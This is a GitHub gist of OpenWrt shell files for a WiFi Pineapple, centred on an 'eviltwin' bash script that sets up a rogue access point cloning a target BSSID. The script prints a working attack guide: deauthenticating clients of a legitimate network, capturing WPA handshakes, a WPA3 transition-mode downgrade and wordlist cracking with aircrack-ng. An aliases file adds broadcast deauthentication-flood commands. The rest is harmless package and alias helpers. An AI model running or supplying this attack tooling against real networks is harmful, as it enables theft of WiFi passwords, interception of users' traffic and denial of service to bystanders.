Created
July 16, 2025 18:30
-
-
Save adde88/5062f546bcc0ff022ed8b60aed7a69ce to your computer and use it in GitHub Desktop.
Evil Twin - Easy Setup Script - WiFi Pineapple MKVII (airebase-ng) (WPA, WPA2, + New WPA3 Downgrade attack!!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /etc/profile.d/aliases.sh | |
alias netstat='netstat -tulnp' | |
alias ll='ls -alF --color=auto' | |
alias ps='ps aux' | |
alias ip='ip -color=auto' | |
alias du='du -sh' | |
alias dmesg='dmesg -T' | |
alias free='free -h' | |
alias procmtd='cat /proc/mtd' | |
alias procpart='cat /proc/partitions' | |
alias conntrack='cat /proc/net/nf_conntrack' | |
alias procmem='cat /proc/meminfo' | |
alias wifistats0='iwinfo wlan0 assoclist' | |
alias wifistats1='iwinfo wlan1 assoclist' | |
alias wifistats1mon='iwinfo wlan1mon assoclist' | |
alias wifistats2='iwinfo wlan2 assoclist' | |
alias wifistats1mon='iwinfo wlan1mon assoclist' | |
alias wifistats1='iwinfo wlan1 assoclist' | |
alias wifistats0='iwinfo wlan0 assoclist' | |
alias df='df -h' | |
alias logread='logread'^C | |
alias route='route -n' | |
alias route='route -n' | |
alias ls='ls --color=auto' | |
alias procpu='cat /proc/cpuinfo' | |
alias update='opkg update && opkg upgrade' | |
alias tcpdump='tcpdump -i any' | |
alias nmapquick='nmap -p- --min-rate=1000 -T4' | |
alias nmapvulners='nmap --script vulners' | |
alias cp='cp -r' | |
alias grep='grep --color=auto' | |
alias hs='history | grep' | |
alias ..='cd ..' | |
alias ...='cd ../..' | |
alias install='opkg install' | |
alias remove='opkg remove' | |
alias list='opkg list-installed' | |
alias restart='reboot -f now' | |
alias reboot='reboot -f now' | |
alias status='ifconfig; route; iwconfig' | |
alias df='df -h' | |
alias du='du -sh *' | |
alias pingg='ping -c 4 8.8.8.8' | |
alias tracerouteg='traceroute 8.8.8.8' | |
alias iptables='iptables -L' | |
alias wifiup0='wifi up wlan0' | |
alias wifiup1='wifi up wlan1' | |
alias wifiup2='wifi up wlan2' | |
alias wifidown0='wifi down wlan0' | |
alias wifidown1='wifi down wlan1' | |
alias wifidown2='wifi down wlan2' | |
alias aireplay_dos1mon='aireplay-ng -0 0 -a FF:FF:FF:FF:FF:FF wlan1mon' | |
alias aireplay_dos2='aireplay-ng -0 0 -a FF:FF:FF:FF:FF:FF wlan2' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /etc/profile.d/colors.sh | |
# Define ANSI color codes | |
export NC='\033[0m' # No Color | |
export RED='\033[0;31m' # Red for errors/warnings | |
export GREEN='\033[0;32m' # Green for success messages | |
export YELLOW='\033[0;33m' # Yellow for important information/prompts | |
export BLUE='\033[0;34m' # Blue for headings/sections | |
export CYAN='\033[0;36m' # Cyan for commands | |
export PURPLE='\033[0;35m' # Purple for general info |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# /usr/bin/eviltwin | |
# Script Name: Evil_Twin_AP_Setup.sh | |
# Author: Andreas Nilsen | |
# Email: [email protected] | |
# GitHub: https://www.github.com/adde88 | |
# Description: This script automates the setup of an Evil Twin Access Point | |
# using Aircrack-ng tools, optimized for WiFi Pineapple MkVII | |
# running OpenWrt-Linux. It provides instructions for capturing | |
# WPA/WPA2 handshakes via downgrade attacks on WPA3 Transition Mode. | |
# Date: July 2025 | |
# Define ANSI color codes for enhanced readability | |
NC='\033[0m' # No Color - Resets text color | |
RED='\033[0;31m' # Red for errors/critical warnings | |
GREEN='\033[0;32m' # Green for success messages | |
YELLOW='\033[0;33m' # Yellow for important information/prompts | |
BLUE='\033[0;34m' # Blue for major headings/sections | |
CYAN='\033[0;36m' # Cyan for commands to be executed | |
PURPLE='\033[0;35m' # Purple for general informational text | |
# ASCII Art Logo (Max 256x256 characters - this is much smaller and fits well) | |
EVIL_TWIN_LOGO=" | |
${BLUE} _______${NC} | |
${BLUE}/ \\${NC} | |
${BLUE}| ( ${RED}X${BLUE} ) |${NC} ${RED}Evil Twin AP v1.0${NC} | |
${BLUE}| /|\\ |${NC} ${YELLOW}by Andreas Nilsen${NC} | |
${BLUE} \\_ / \\ _/${NC} | |
${RED}| |${NC} | |
${RED}|_|${NC} | |
" | |
# --- Helper function for cleanup (optimized for OpenWrt) --- | |
# This function stops the monitor mode interface and attempts to restart | |
# OpenWrt's network services to restore normal connectivity. | |
cleanup_monitor_mode() { | |
local mon_iface="$1" | |
echo -e "${YELLOW}[*] Attempting to clean up monitor mode on ${mon_iface}...${NC}" | |
# Stop the monitor interface created by airmon-ng | |
airmon-ng stop "$mon_iface" 2>/dev/null | |
echo -e "${YELLOW}[*] Restarting OpenWrt network services...${NC}" | |
# On OpenWrt, 'service network restart' is the standard way to refresh network config. | |
# We suppress stderr in case the service isn't found, making it more robust. | |
service network restart 2>/dev/null || true | |
echo -e "${GREEN}[+] Cleanup attempt complete. Network services should be restored.${NC}" | |
} | |
# --- Main script logic --- | |
# Parse arguments from the command line | |
# Usage: eviltwin <interface> <evil_ssid> <evil_channel> <encryption_method> [wifi_password] [original_ap_bssid] [hidden_ssid] | |
interface="$1" | |
evil_ssid="$2" | |
evil_channel="$3" | |
encryption_method="$4" | |
wifi_password="$5" | |
original_ap_bssid="$6" | |
hidden_ssid="${7:-false}" # Default to 'false' if the 7th argument is not provided | |
# --- Input Validation --- | |
# Check if essential arguments are provided | |
if [[ -z "$interface" || -z "$evil_ssid" || -z "$evil_channel" || -z "$encryption_method" ]]; then | |
echo -e "${RED}[-] ERROR: Missing arguments!${NC}" | |
echo -e "${YELLOW} Script by Andreas Nilsen ([email protected] - github.com/adde88)${NC}" | |
echo -e "${RED}[-] Usage: ${CYAN}$0 <interface> <evil_ssid> <evil_channel> <encryption_method> [wifi_password] [original_ap_bssid] [hidden_ssid]${NC}" | |
echo -e "${YELLOW} Encryption methods: ${GREEN}OPEN, WEP, WPA, WPA2, WPA3_TRANSITION (WPA2 fallback)${NC}" | |
echo -e "${YELLOW} Example (WPA2): ${CYAN}$0 wlan0 \"Free WiFi\" 6 WPA2 \"password123\"${NC}" | |
echo -e "${YELLOW} Example (WPA3 Transition Mode): ${CYAN}$0 wlan0 \"MyHomeNetwork\" 6 WPA3_TRANSITION \"mysecretpass\" 00:11:22:33:44:55${NC}" | |
exit 1 # Exit with an error code | |
fi | |
# Print the fancy ASCII art logo | |
echo -e "$EVIL_TWIN_LOGO" | |
echo "" # Add a blank line for spacing | |
# Initialize variables for airbase-ng options and monitor interface name | |
airbase_options="" | |
monitor_interface="" | |
evil_twin_bssid_for_airodump="" | |
echo -e "${PURPLE}[*] Starting Evil Twin AP Setup...${NC}" | |
echo -e "${PURPLE}[*] Interface: ${GREEN}$interface${NC}" | |
echo -e "${PURPLE}[*] SSID: ${GREEN}$evil_ssid${NC}" | |
echo -e "${PURPLE}[*] Channel: ${GREEN}$evil_channel${NC}" | |
echo -e "${PURPLE}[*] Encryption: ${GREEN}$encryption_method${NC}" | |
if [[ -n "$original_ap_bssid" ]]; then | |
echo -e "${PURPLE}[*] Cloning BSSID: ${GREEN}$original_ap_bssid${NC}" | |
fi | |
if [[ "$hidden_ssid" == "true" ]]; then | |
echo -e "${PURPLE}[*] Hidden SSID: ${GREEN}Yes${NC}" | |
fi | |
# --- Kill conflicting processes --- | |
echo -e "${YELLOW}[*] Killing conflicting processes that might interfere with monitor mode...${NC}" | |
# On OpenWrt, NetworkManager is typically not installed. wpa_supplicant might be. | |
# airmon-ng check kill is a general utility that attempts to find and kill processes | |
# that could interfere with monitor mode. We suppress its output for cleaner script output. | |
airmon-ng check kill >/dev/null 2>&1 | |
if [ $? -eq 0 ]; then | |
echo -e "${GREEN}[+] Conflicting processes killed (if any).${NC}" | |
else | |
# This message is for cases where 'airmon-ng check kill' might not find anything | |
# or has a non-zero exit code for other reasons, but we still want to proceed. | |
echo -e "${YELLOW}[!] airmon-ng check kill might have encountered issues or no processes were found. Continuing...${NC}" | |
fi | |
# --- Put interface in monitor mode --- | |
echo -e "${YELLOW}[*] Putting ${interface} into monitor mode on channel ${evil_channel}...${NC}" | |
# Capture the full output of airmon-ng to reliably extract the new monitor interface name. | |
monitor_output=$(airmon-ng start "$interface" "$evil_channel" 2>&1) | |
if echo "$monitor_output" | grep -q "monitor mode enabled"; then | |
# Extract the monitor interface name using grep with PCRE and sed/tr for cleanup | |
monitor_interface=$(echo "$monitor_output" | grep -oP '(?<=monitor mode enabled on ).*?(?=])' | sed 's/\[phy[0-9]*\]//g' | tr -d '[:space:]') | |
if [ -z "$monitor_interface" ]; then | |
# Fallback for other airmon-ng output formats if the primary regex fails | |
monitor_interface=$(echo "$monitor_output" | grep -oP '(?<=monitor mode enabled on ).*') | |
monitor_interface=$(echo "$monitor_interface" | awk '{print $1}') | |
fi | |
echo -e "${GREEN}[+] ${interface} is now in monitor mode as ${monitor_interface}.${NC}" | |
else | |
echo -e "${RED}[-] Failed to put ${interface} into monitor mode. Check if your card supports monitor mode or if it's already in use.${NC}" | |
echo -e "${RED} Output from airmon-ng: ${monitor_output}${NC}" | |
cleanup_monitor_mode "$monitor_interface" # Attempt cleanup before exiting | |
exit 1 | |
fi | |
# --- Configure airbase-ng options based on encryption method --- | |
airbase_options="-e \"$evil_ssid\" -c $evil_channel" | |
# If an original AP BSSID is provided, airbase-ng will clone it. | |
# Otherwise, airbase-ng will generate a random MAC for the Evil Twin. | |
if [[ -n "$original_ap_bssid" ]]; then | |
echo -e "${PURPLE}[*] Setting airbase-ng to clone original AP BSSID: ${GREEN}$original_ap_bssid${NC}" | |
airbase_options+=" -a $original_ap_bssid" | |
evil_twin_bssid_for_airodump="$original_ap_bssid" | |
else | |
echo -e "${PURPLE}[*] airbase-ng will generate a random BSSID for the Evil Twin.${NC}" | |
# If airbase-ng generates a random BSSID, the user needs to observe it in airodump-ng. | |
evil_twin_bssid_for_airodump="<OBSERVE_FROM_AIRODUMP>" | |
fi | |
# Handle hidden SSID option | |
if [[ "$hidden_ssid" == "true" ]]; then | |
echo -e "${PURPLE}[*] Enabling probe response for hidden SSID (--essid-pb).${NC}" | |
airbase_options+=" --essid-pb" | |
fi | |
# Set encryption-specific options for airbase-ng | |
case "$encryption_method" in | |
OPEN) | |
echo -e "${PURPLE}[*] Evil Twin will be an Open network (no encryption).${NC}" | |
;; | |
WEP) | |
if [[ -z "$wifi_password" ]]; then | |
echo -e "${RED}[-] WEP encryption selected, but no password provided. Aborting.${NC}" | |
cleanup_monitor_mode "$monitor_interface" | |
exit 1 | |
fi | |
echo -e "${PURPLE}[*] Using WEP encryption with password: ${GREEN}$wifi_password${NC}" | |
airbase_options+=" -W 1 -k \"$wifi_password\"" | |
;; | |
WPA) | |
if [[ -z "$wifi_password" ]]; then | |
echo -e "${RED}[-] WPA encryption selected, but no password provided. Aborting.${NC}" | |
cleanup_monitor_mode "$monitor_interface" | |
exit 1 | |
fi | |
echo -e "${PURPLE}[*] Using WPA (TKIP) encryption with password: ${GREEN}$wifi_password${NC}" | |
airbase_options+=" -z 2 -P -k \"$wifi_password\"" # -z 2 for TKIP, -P for PSK (Pre-Shared Key) | |
;; | |
WPA2) | |
if [[ -z "$wifi_password" ]]; then | |
echo -e "${RED}[-] WPA2 encryption selected, but no password provided. Aborting.${NC}" | |
cleanup_monitor_mode "$monitor_interface" | |
exit 1 | |
fi | |
echo -e "${PURPLE}[*] Using WPA2 (CCMP) encryption with password: ${GREEN}$wifi_password${NC}" | |
airbase_options+=" -Z 4 -P -k \"$wifi_password\"" # -Z 4 for CCMP, -P for PSK | |
;; | |
WPA3_TRANSITION) | |
if [[ -z "$wifi_password" ]]; then | |
echo -e "${RED}[-] WPA3_TRANSITION requires a password for WPA2 fallback. Aborting.${NC}" | |
cleanup_monitor_mode "$monitor_interface" | |
exit 1 | |
fi | |
echo -e "${YELLOW}[!] WARNING: airbase-ng does NOT directly support WPA3 SAE. This option simulates a WPA3 Transition Mode attack.${NC}" | |
echo -e "${YELLOW} It creates a WPA2 AP. Clients capable of WPA3 (in transition mode) will likely downgrade to WPA2.${NC}" | |
echo -e "${PURPLE}[*] Using WPA2 (CCMP) encryption with password: ${GREEN}$wifi_password${NC} for downgrade attack.${NC}" | |
airbase_options+=" -Z 4 -P -k \"$wifi_password\"" | |
;; | |
*) | |
echo -e "${RED}[-] Invalid encryption method: '${encryption_method}'. Choose from OPEN, WEP, WPA, WPA2, WPA3_TRANSITION.${NC}" | |
cleanup_monitor_mode "$monitor_interface" | |
exit 1 | |
;; | |
esac | |
echo "" | |
echo -e "${BLUE}=======================================================================${NC}" | |
echo -e "${BLUE} EVIL TWIN AP & HANDSHAKE CAPTURE GUIDE ${NC}" | |
echo -e "${BLUE}=======================================================================${NC}" | |
echo "" | |
echo -e "${YELLOW}[!] IMPORTANT: For a successful attack and capture, you will need to${NC}" | |
echo -e "${YELLOW} open AT LEAST TWO SEPARATE TERMINALS.${NC}" | |
echo "" | |
echo -e "${BLUE}--- TERMINAL 1: Start the Evil Twin AP (airbase-ng) ---${NC}" | |
echo -e " In ${PURPLE}THIS${NC} terminal (where you ran this script), or a new one, run the following command:" | |
echo -e " (This will create the fake AP and wait for connections)" | |
echo "" | |
echo -e " ${CYAN}airbase-ng $airbase_options $monitor_interface${NC}" | |
echo "" | |
echo -e " Keep an eye on this terminal for airbase-ng's output, including" | |
echo -e " the BSSID it's using if you didn't specify an original AP BSSID." | |
echo "" | |
echo -e "${BLUE}--- TERMINAL 2: Capture Handshakes (airodump-ng) ---${NC}" | |
echo -e " Open a ${YELLOW}*NEW*${NC} terminal (e.g., via SSH or another session on your Pineapple)" | |
echo -e " and run the following command:" | |
echo -e " (This will listen for connections to your Evil Twin and save packets)" | |
echo "" | |
if [[ "$evil_twin_bssid_for_airodump" == "<OBSERVE_FROM_AIRODUMP>" ]]; then | |
echo -e " ${CYAN}airodump-ng -w captured_handshakes -c $evil_channel $monitor_interface${NC}" | |
echo -e " (${YELLOW}NOTE:${NC} Look for your Evil Twin's BSSID in airodump-ng's output after airbase-ng starts." | |
echo -e " It will be next to your '${GREEN}$evil_ssid${NC}' SSID. Once found, you ${PURPLE}*can*${NC} add '${CYAN}--bssid <EVIL_TWIN_BSSID>${NC}'" | |
echo -e " to the airodump-ng command for more targeted capture, but it's not strictly necessary for handshake capture.)${NC}" | |
else | |
echo -e " ${CYAN}airodump-ng -w captured_handshakes --bssid $evil_twin_bssid_for_airodump -c $evil_channel $monitor_interface${NC}" | |
fi | |
echo "" | |
echo -e " * Airodump-ng will save captured packets to files like '${GREEN}captured_handshakes-01.cap${NC}'." | |
echo -e " * ${GREEN}**Look for: '[ WPA Handshake: <MAC Address> ]' in airodump-ng's output.**${NC}" | |
echo -e " This confirms a 4-way handshake has been captured for that client." | |
echo "" | |
echo -e "${BLUE}--- TERMINAL 3 (Optional): Deauthenticate Clients (aireplay-ng) ---${NC}" | |
echo -e " To force clients to disconnect from their legitimate APs and potentially" | |
echo -e " connect to your Evil Twin, open ${YELLOW}ANOTHER *NEW*${NC} terminal and run:" | |
echo -e " (You'll need the BSSID of the ${YELLOW}*legitimate* AP${NC} you want to target, found via airodump-ng)" | |
echo "" | |
echo -e " ${CYAN}aireplay-ng -0 0 -a <LEGIT_AP_BSSID> $monitor_interface${NC}" | |
echo -e " (Replace ${YELLOW}<LEGIT_AP_BSSID>${NC} with the actual MAC of the target AP you want to deauth.)" | |
echo -e " (You can also add '${CYAN}-c <CLIENT_MAC>${NC}' to target a specific client.)${NC}" | |
echo "" | |
echo -e "${BLUE}--- After Handshake Capture: Cracking the Password ---${NC}" | |
echo -e " Once 'airodump-ng' confirms a handshake capture (or you've run it for a while)," | |
echo -e " press ${YELLOW}Ctrl+C${NC} in the 'airodump-ng' terminal." | |
echo -e " Then, use 'aircrack-ng' with a wordlist to try and crack the password:" | |
echo "" | |
echo -e " ${CYAN}aircrack-ng -w /path/to/your/wordlist.txt captured_handshakes-01.cap${NC}" | |
echo -e " (Adjust '${GREEN}captured_handshakes-01.cap${NC}' to match the actual filename airodump-ng saved.)${NC}" | |
echo "" | |
echo -e "${BLUE}--- CLEANUP (VERY IMPORTANT!) ---${NC}" | |
echo -e " When you are completely finished, press ${YELLOW}Ctrl+C${NC} in ${RED}ALL${NC} terminals where" | |
echo -e " 'airbase-ng', 'airodump-ng', and 'aireplay-ng' are running." | |
echo -e " Then, to properly stop monitor mode and restart your network services, run:" | |
echo "" | |
echo -e " ${CYAN}airmon-ng stop $monitor_interface${NC}" | |
echo -e " ${CYAN}service network restart 2>/dev/null || true${NC}" # Optimized for OpenWrt | |
echo -e " ${GREEN}echo \"[+] Cleanup complete. Network services should be restored.\"${NC}" | |
echo -e "${BLUE}=======================================================================${NC}" | |
echo "" | |
echo -e "${PURPLE}[*] Evil Twin setup instructions displayed. Please follow them in new terminals.${NC}" | |
# Exit the script | |
exit 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /etc/profile.d/functions.sh | |
opkgl() { | |
# Check if opkg update has been run recently (within the last 60 minutes) | |
if [ -z "$(find /var/opkg-lists -mmin -60 2>/dev/null)" ]; then | |
echo "opkg lists appear outdated or missing. Running 'opkg update'..." | |
opkg update | |
echo "Update complete." | |
fi | |
if [ -z "$1" ]; then | |
echo "Usage: opkgl <package_name_part>" | |
echo "Searches for opkg packages matching the provided string." | |
echo "Output format: Name | Version | Size (KB/MB/B)" # Added B for bytes | |
return 1 | |
fi | |
echo "Searching for packages matching '$1' and fetching details (this may take a moment for many results)..." | |
echo "" | |
printf "%-30s | %-15s | %s\n" "Name" "Version" "Size" | |
printf "%s\n" "----------------------------------------------------------------------" | |
# Temporary file to store results before printing, to allow for a progress indicator | |
tmp_results=$(mktemp) | |
opkg list | grep "$1" | while read -r line; do | |
package_name=$(echo "$line" | awk '{print $1}') | |
package_version=$(echo "$line" | awk '{print $3}' | tr -d '[()]') # Remove parentheses from version | |
# Display name, truncated if too long | |
display_name=$(echo "$package_name" | cut -c 1-28) | |
# --- Get Size Information --- | |
# Get size from opkg info, suppressing errors | |
raw_size_bytes=$(opkg info "$package_name" 2>/dev/null | grep -i "Size:" | awk '{print $2}') | |
# Default to 0 if size not found or empty | |
# Check if raw_size_bytes is a positive number using regex or test | |
if echo "$raw_size_bytes" | grep -q '^[0-9]\+$'; then | |
size_bytes=$raw_size_bytes | |
else | |
size_bytes=0 # Set to 0 if not a valid number | |
fi | |
formatted_size="N/A" | |
if [ "$size_bytes" -gt 0 ]; then # Only proceed if size_bytes is a positive number | |
# Using command -v bc is still good for robustness | |
if command -v bc >/dev/null 2>&1; then | |
# Use bc for accurate floating-point math | |
if (( size_bytes < 1024 )); then # Less than 1KB, display in Bytes | |
formatted_size="${size_bytes}B" | |
elif (( size_bytes < 1024 * 1024 )); then # Less than 1MB, display in KB | |
size_kb=$(echo "scale=2; $size_bytes / 1024" | bc) | |
formatted_size="${size_kb}KB" | |
else # 1MB or more, display in MB | |
size_mb=$(echo "scale=2; $size_bytes / (1024 * 1024)" | bc) | |
formatted_size="${size_mb}MB" | |
fi | |
else | |
# Fallback to integer math if bc is not found (though it should be installed now) | |
if (( size_bytes < 1024 )); then # Less than 1KB, display in Bytes | |
formatted_size="${size_bytes}B" | |
elif (( size_bytes < 1024 * 1024 )); then # Less than 1MB, display in KB | |
formatted_size="$((size_bytes / 1024))KB" # Integer division | |
else # 1MB or more, display in MB | |
formatted_size="$((size_bytes / (1024 * 1024)))MB" # Integer division | |
fi | |
fi | |
else | |
formatted_size="N/A" # Explicitly "N/A" if size is 0 or non-numeric | |
fi | |
# Store results in the temporary file | |
printf "%-30s | %-15s | %s\n" "$display_name" "$package_version" "$formatted_size" >> "$tmp_results" | |
echo -n "." # Progress indicator | |
done | |
echo "" # Newline after progress dots | |
# Print the collected results | |
cat "$tmp_results" | |
rm "$tmp_results" # Clean up temporary file | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment